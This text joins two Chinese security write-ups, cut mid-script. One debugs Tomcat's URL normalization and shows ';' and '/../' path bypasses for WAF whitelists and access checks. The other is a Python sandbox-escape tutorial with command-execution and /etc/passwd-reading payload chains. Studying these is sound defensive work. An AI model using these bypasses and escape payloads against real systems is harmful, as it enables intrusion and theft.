* idea 2020.2
* tomcat 9.0.45
### 2.1 tomcat
从[官网](https://tomcat.apache.org/download-90.cgi)下载源码
复制`conf`和`webapps`至新文件夹`catalina-home`下
添加maven配置文件`pom.xml`
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat9.0.45</artifactId>
<name>Tomcat9.0.45</name>
<version>9.0.45</version>
<build>
<finalName>Tomcat9.0.45</finalName>
<sourceDirectory>java</sourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.apache.ant</groupId>
<artifactId>ant</artifactId>
<version>1.10.1</version>
</dependency>
<dependency>
<groupId>org.apache.ant</groupId>
<artifactId>ant-apache-log4j</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.apache.ant</groupId>
<artifactId>ant-commons-logging</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>javax.xml.rpc</groupId>
<artifactId>javax.xml.rpc-api</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.6.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.5.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>biz.aQute.bnd</groupId>
<artifactId>biz.aQute.bndlib</artifactId>
<version>5.2.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>
`./test/trailers`文件夹下写入`ResponseTrailers.java`
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package trailers;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Supplier;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* This example writes some trailer fields to the HTTP response.
*/
public class ResponseTrailers extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final Supplier<Map<String,String>> TRAILER_FIELD_SUPPLIER =
new TrailerFieldSupplier();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setTrailerFields(TRAILER_FIELD_SUPPLIER);
resp.setContentType("text/plain");
resp.setCharacterEncoding("UTF-8");
PrintWriter pw = resp.getWriter();
pw.print("This response should include trailer fields.");
}
private static class TrailerFieldSupplier implements Supplier<Map<String,String>> {
private static final Map<String,String> trailerFields = new HashMap<>();
static {
trailerFields.put("x-trailer-1", "Trailer value one");
trailerFields.put("x-trailer-2", "Trailer value two");
}
@Override
public Map<String, String> get() {
return trailerFields;
}
}
}
`./test/util`文件夹下写入`CookieFilter.java`
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package util;
import java.util.Locale;
import java.util.StringTokenizer;
/**
* Processes a cookie header and attempts to obfuscate any cookie values that
* represent session IDs from other web applications. Since session cookie names
* are configurable, as are session ID lengths, this filter is not expected to
* be 100% effective.
*
* It is required that the examples web application is removed in security
* conscious environments as documented in the Security How-To. This filter is
* intended to reduce the impact of failing to follow that advice. A failure by
* this filter to obfuscate a session ID or similar value is not a security
* vulnerability. In such instances the vulnerability is the failure to remove
* the examples web application.
*/
public class CookieFilter {
private static final String OBFUSCATED = "[obfuscated]";
private CookieFilter() {
// Hide default constructor
}
public static String filter(String cookieHeader, String sessionId) {
StringBuilder sb = new StringBuilder(cookieHeader.length());
// Cookie name value pairs are ';' separated.
// Session IDs don't use ; in the value so don't worry about quoted
// values that contain ;
StringTokenizer st = new StringTokenizer(cookieHeader, ";");
boolean first = true;
while (st.hasMoreTokens()) {
if (first) {
first = false;
} else {
sb.append(';');
}
sb.append(filterNameValuePair(st.nextToken(), sessionId));
}
return sb.toString();
}
private static String filterNameValuePair(String input, String sessionId) {
int i = input.indexOf('=');
if (i == -1) {
return input;
}
String name = input.substring(0, i);
String value = input.substring(i + 1, input.length());
return name + "=" + filter(name, value, sessionId);
}
public static String filter(String cookieName, String cookieValue, String sessionId) {
if (cookieName.toLowerCase(Locale.ENGLISH).contains("jsessionid") &&
(sessionId == null || !cookieValue.contains(sessionId))) {
cookieValue = OBFUSCATED;
}
return cookieValue;
}
}
### 2.2 idea
将项目导入idea，修改`Language level`为当前jdk版本，并把`catalina-home`文件夹标记为`Sources`、`test`
文件夹标记为`Tests`
确保jdk版本与环境一致
添加maven国内镜像
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<!-- 阿里云仓库 -->
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
<!-- 中央仓库1 -->
<mirror>
<id>repo1</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo1.maven.org/maven2/</url>
</mirror>
<!-- 中央仓库2 -->
<mirror>
<id>repo2</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo2.maven.org/maven2/</url>
</mirror>
</mirrors>
</settings>
创建项目执行入口
org.apache.catalina.startup.Bootstrap
-Dcatalina.home=catalina-home
-Dcatalina.base=catalina-home
-Djava.endorsed.dirs=catalina-home/endorsed
-Djava.io.tmpdir=catalina-home/temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=catalina-home/conf/logging.properties
修改`org/apache/jasper/compiler/JDTCompiler.java`内容，有两处
修改`org.apache.catalina.startup.ContextConfig` 文件的 `configureStart()`方法，初始化 JSP
解析器的代码
context.addServletContainerInitializer(new JasperInitializer(), null);
配置完成，启动项目，访问tomcat
http://127.0.0.1:8080
## 三、过程分析
### 3.1 tomct连接器
tomcat中有connector和container两个核心组件，前者对外处理socket连接，后者对内加载和管理servlet，当用户发起请求时，connector收到请求并调用protocolhandler的processor组件解析应用层协议并生成request对象，adaptor再把生成的request对象传递到container做下一步处理
### 3.2 调试分析
url解析受位于`java/org/apache/catalina/connector/CoyoteAdapter`的`parsePathParameters()`和`normalize()`两个函数影响，打下断点，向`/123;456/../index.jsp`路径发起请求
#### 01 parsePathParameters
进入parsePathParameters函数，先判断url中是否含有`;`号，不存在时返回`-1`并且`return`，存在则向下继续执行代码，此时返回分号编号为4
/ 1 2 3 ; 4 5 6 / . . / i n d e x . j s p
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
进入循环，将第二个斜杠后的数据与分号后、斜杠前的`pv`数据依次做覆盖操作，然后取前17位数得到处理后的数据`uriBC`，函数结束
/ 1 2 3 / . . / i n d e x . j s p . j s p
0 1 2 3 8 9 10 11 12 13 14 15 16 17 18 19 20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
#### 02 normalize
进入normalize函数，可以看到对`\`、`//`、`/./`、`/../`四种情况进行处理
1. 将反斜杠替换为斜杠，`\ ==> /`
1. 将双斜杠替换为单斜杠，`// ==> /`
1. 去掉`/./`中的点
1. 对`/../`进行跨目录操作
进入循环，每出现一个`/../`就向上层目录回溯一次，类似parsePathParameters函数处理分号的逻辑，将`/../`之后的数据与`/../`之前的数据做覆盖操作，然后取前10位数的到处理后的`uriBC`，函数结束
/ 1 2 3 / . . / i n d e x . j s p
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
/ i n d e x . j s p d e x . j s p
1 2 3 4 5 6 7 8 9 10
### 3.3 小结
先parsePathParameters处理分号，再normalize处理斜杠、反斜杠、点
//aaa;bbb/./../ ==> parsePathParameters() ==> //aaa/./../
//aaa/./../ ==> normalize() ==> /
--> /aaa/./../
--> /aaa/../
--> /
normalize函数对参数进行了一次`decodedURI()`操作，所以支持传入url编码后数据，但parsePathParameters函数是直接传入参数，以下地址经过均可访问到主页：
//
/./
/.;/
/aaa/../
/;aaa
/aaa;bbb/../
/aaa;bbb/.././
/aaa/..;./
/aaa;../..;/
/.;/aaa/../
/%2e;/
## 四、利用场景
### 4.1 绕过安全设备
某些安全设备存在白名单，对后缀为白名内的请求完全放行，如果服务器使用tomcat作为web容器，则可能存在安全设备绕过风险，如：
1. 攻击者向服务器`/sql_vuln/id=1+and+1=1;favicon.ico`发起请求
2. 安全设备收到请求，发现到后缀为`ico`，在白名单内不做检测并放行
3. 服务器收到请求后对url解析，得到`/sql_vuln/id=1+and+1=1`
4. 绕过安全设备，成功注入
### 4.2 绕过访问限制
当后端服务器通过用户当前请求路径来判断权限时，可能存在绕过风险，如：
1. 攻击者使用a账户访问admin文件路径，`/;/admin`或`/aaa/../admin`
2. 服务器通过路径来判断当前用户是否具备admin文件访问权限，此时`HttpServletRequest.getRequestURI()`取得的值是原生地址：即`/;/admin`，判断不等于`/admin`，可以访问
3. tomcat对url解析，最终值为`/admin`，攻击者便成功访问`/admin`文件
案例：
* Shiro < v1.5.2 身份认证绕过（CVE-2020-1957）
* Shiro < v1.5.3 身份认证绕过（CVE-2020-11989）
* Shiro < v1.6.0 身份认证绕过（CVE-2020-13933）
## 五、参考
* <https://xz.aliyun.com/t/7544>
* <https://www.jianshu.com/p/ce6d6012af63>
* <https://www.anquanke.com/post/id/230238>
* <https://www.cnblogs.com/ph4nt0mer/p/13535999.html>
* <https://joychou.org/web/security-of-getRequestURI.html> | 社区文章 |
沙箱逃逸就是在在一个严格限制的python环境中，通过绕过限制和过滤达到执行更高权限，甚至getshell的过程 。
# 执行模块
## 执行命令的模块
os
timeit
plarform
subprocess
pty
commands
os模块
os，语义为操作系统，模块提供了访问多个操作系统服务的功能，可以处理文件和目录。
os模块
import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值，可通过read()的方式读取返回值
os.popen("whoami").read()
commands模块
timeit模块
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
plarform模块
import platform
print platform.popen('dir').read()
subprocess模块
import subprocess
subprocess.call('dir',shell=True)
subprocess.Popen('dir', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
#stdin, stdout, stderr： 分别表示程序标准输入、输出、错误句柄。
python3
import subprocess
subprocess.run('dir',shell=True)
pty模块
#仅限Linux环境
import pty
pty.spawn("ls")
commands模块
commands模块会返回命令的输出和执行的状态位，仅限Linux环境
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")
## 文件读取的模块
file
open
codecs
fileinput
file()函数
该函数只存在于Python2，Python3不存在
file('/etc/passwd').read()
file('test.txt','w').write('xxx')
open()函数
open('text.txt').read()
codecs模块
import codecs
codecs.open('test.txt').read()
## 获取环境信息模块
sys模块
import sys
sys.version
sys.path
sys.modules
# 执行函数
exec()，eval()，execfile()，compile()函数
eval('__import__("os").system("ls")')
exec('__import__("os").system("ls")')
eval()函数只能计算单个表达式的值，而exec()函数可以动态运行代码段。
eval()函数可以有返回值，而exec()函数返回值永远为None。
compile('a = 1 + 2', '<string>', 'exec')
sys模块
该模块通过modules()函数引入命令执行模块来实现：
import sys
sys.modules['os'].system('calc')
# 内联函数
# 下面代码可列出所有的内联函数
dir(__builtins__)
# Python3有一个builtins模块，可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)
dir()函数
在没有参数的时候返回本地作用域中的名称列表
在有参数的时候返回该对象的有效属性列表
# 魔术函数
python沙箱逃逸还是离不开继承关系和子父类关系，在查看和使用类的继承，魔法函数起到了不可比拟的作用。
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类，直到object
__subclasses__() 获取一个类的子类，返回的是一个列表
__bases__ 返回一个类直接所继承的类（元组形式）
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__，返回一个当前空间下能使用的模块，方法和变量的字典
__getattribute__ 当类被调用的时候，无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性，包括属性，方法等
例子
class A(object):
def __init__(self):
self.name = "Bob"
print('ok')
def __getattribute__(self,item):
print("getattribute")
def __getattr__(self):
print('getattr')
class B(A):
pass
class C(A):
pass
class D(B, C):
pass
a=A()
print(a.__class__)#__main__.A
print(D.__mro__)
print(B.__subclasses__())
print(B.__base__)
print(A.__init__.__globals__)
print(a.name)
print(a.age)
result:
ok
getattribute
None
(<class '__main__.D'>, <class '__main__.B'>, <class '__main__.C'>, <class '__main__.A'>, <type 'object'>)
[<class '__main__.D'>]
<class '__main__.A'>
{'A': <class '__main__.A'>, 'a': <__main__.A object at 0x0000000002C00F28>, 'C': <class '__main__.C'>, 'B': <class '__main__.B'>, 'D': <class '__main__.D'>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'G:\\ctf\\test.py', '__package__': None, '__name__': '__main__', '__doc__': None}
getattribute
None
getattribute
None
# builtin
在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,随着`__builtin__`这一个module 自动被引入到环境中
(在python3.x 版本中,`__builtin__`变成了builtins,而且需要引入)
因此,open(),int(),chr()这些函数,就相当于
__builtin__.open()
__builtin__.int()
__builtin__.chr()
如果我们把这些函数从 **builtin** 中删除,那么就不能够再直接使用了
>>> import __builtin__
>>> del __builtin__.chr
>>> chr(1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'chr' is not defined
同样,刚才的`__import__`函数,同样也是一个builtin函数,同样,常用的危险函数eval,exec,execfile也是`__builtin__`的,因此只要从`__builtin__`中删除这些东西,那么就不能再去使用了
`__builtin__`和 `__builtins__`之间是什么关系呢？
1、在主模块main中，`__builtins__`是对内建模块`__builtin__`本身的引用，即`__builtins__`完全等价于`__builtin__`，二者完全是一个东西，不分彼此。
2、非主模块main中，`__builtins__`仅是对`__builtin__.__dict__`的引用，而非`__builtin__`本身
**解决办法:**
`__builtins__`是一个默认引入的module
对于模块,有一个函数reload用于重新从文件系统中的代码来载入模块
因此我们只需要
reload(__builtins__)
就可以重新得到完整的`__builtins__`模块了
但是,reload也是`__builtins__`下面的函数,如果直接把它干掉,就没办法重新引入了
但可以使用
import imp
imp.reload(__builtins__)
# object类
>
> 对于支持继承的编程语言来说，其方法（属性）可能定义在当前类，也可能来自于基类，所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」（Method
> Resolution Order，或MRO）。
关于MRO的文章：<http://hanjianwei.com/2013/07/25/python-mro/>
python的主旨是一切变量皆对象
python的object类中集成了很多的基础函数，我们想要调用的时候也是需要用object去操作的，主要是通过`__mro__`和
`__bases__`两种方式来创建。
`__mro__`属性获取类的MRO(方法解析顺序)，也就是继承关系。
`__bases__`属性可以获取上一层的继承关系，如果是多层继承则返回上一层的东西，可能有多个。
通过`__mro__` 和`__bases__`两种方式创建object类
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]
python3
''.__class__.__mro__[1]
python2
''.__class__.__mro__[2]
然后通过object类的`__subclasses__()`方法来获得当前环境下能够访问的所有对象，因为调用对象的 `__subclasses__()`
方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。
{}.__class__.__bases__[0].__subclasses__()
# 常见的逃匿思路
常见逃逸思路
当函数被禁用时，就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:
* __class__:获得当前对象的类
* __bases__ :列出其基类
* __mro__ :列出解析方法的调用顺序，类似于bases
* __subclasses__()：返回子类列表
* __dict__ ： 列出当前属性/函数的字典
* func_globals：返回一个包含函数全局变量的字典引用
* 从().__class__.__bases__[0].__subclasses__()出发，查看可用的类
* 若类中有file，考虑读写操作
* 若类中有<class 'warnings.WarningMessage'>，考虑从.__init__.func_globals.values()[13]获取eval，map等等；又或者从.__init__.func_globals[linecache]得到os
* 若类中有<type 'file'>，<class 'ctypes.CDLL'>，<class 'ctypes.LibraryLoader'>，考虑构造so文件
获取object类
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
#python2
''.__class__.__mro__[2]
#python3
''.__class__.__mro__[1]
然后通过object类的`__subclasses__()`方法获取所有的子类列表
[].__class__.__mro__[1].__subclasses__()
{}.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()
#python2
''.__class__.__mro__[2].__subclasses__()
#python3
''.__class__.__mro__[1].__subclasses__()
找到重载过的`__init__`类，例如：
[].__class__.__mro__[1].__subclasses__()[59].__init__
在获取初始化属性后，带wrapper的说明没有重载，寻找不带warpper的，因为wrapper是指这些函数并没有被重载，这时它们并不是function，不具有`__globals__`属性。
写个脚本帮我们来筛选出重载过的 **init** 类的类：
l=len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
print(i,[].__class__.__mro__[1].__subclasses__()[i])
result
python2:
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(72, <class 'site._Printer'>)
(74, <class 'site.Quitter'>)
(75, <class 'codecs.IncrementalEncoder'>)
(76, <class 'codecs.IncrementalDecoder'>)
python3:
64 <class '_frozen_importlib._ModuleLock'>
65 <class '_frozen_importlib._DummyModuleLock'>
66 <class '_frozen_importlib._ModuleLockManager'>
67 <class '_frozen_importlib._installed_safely'>
68 <class '_frozen_importlib.ModuleSpec'>
79 <class '_frozen_importlib_external.FileLoader'>
80 <class '_frozen_importlib_external._NamespacePath'>
81 <class '_frozen_importlib_external._NamespaceLoader'>
83 <class '_frozen_importlib_external.FileFinder'>
92 <class 'codecs.IncrementalEncoder'>
93 <class 'codecs.IncrementalDecoder'>
94 <class 'codecs.StreamReaderWriter'>
95 <class 'codecs.StreamRecoder'>
96 <class '_weakrefset._IterationGuard'>
97 <class '_weakrefset.WeakSet'>
118 <class 'os._wrap_close'>
119 <class '_sitebuiltins.Quitter'>
120 <class '_sitebuiltins._Printer'>
重载过的 **init** 类的类具有 **globals** 属性，这里以WarningMessage为例，会返回很多dict类型：
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__
#python3
[].__class__.__mro__[1].__subclasses__()[64].__init__.__globals__
寻找keys中的 **builtins** 来查看引用，这里同样会返回很多dict类型：
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']
再在keys中寻找可利用的函数即可，如file()函数为例：
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd.txt').read()
至此，整个元素链调用的构造过程就走了一遍了，下面看看还有哪些可利用的函数。
使用脚本遍历其他逃逸方法
Python2的脚本如下：
# coding=UTF-8
find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],
'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],
'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],
'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],
'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],
'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],
'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],
'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],
'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],
'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],
'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],
'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],
'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],
'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],
'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],
'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],
'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],
'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],
'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],
'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],
'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],
'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],
'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],
'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],
'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],
'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],
'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],
'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],
'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],
'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],
'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],
'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],
're': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],
'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],
'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],
'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],
'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],
'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],
'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],
'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],
'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],
'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],
'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],
'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],
'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],
'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],
'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],
'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],
'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],
'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],
'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],
'_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],
'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],
'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],
'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],
'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],
'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],
'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],
'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],
'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],
'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],
'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],
'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],
'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],
'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],
'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],
'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],
'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],
'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],
'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],
'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],
'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],
'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],
'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],
'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],
'_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],
'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],
'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],
'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],
'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],
'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],
'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],
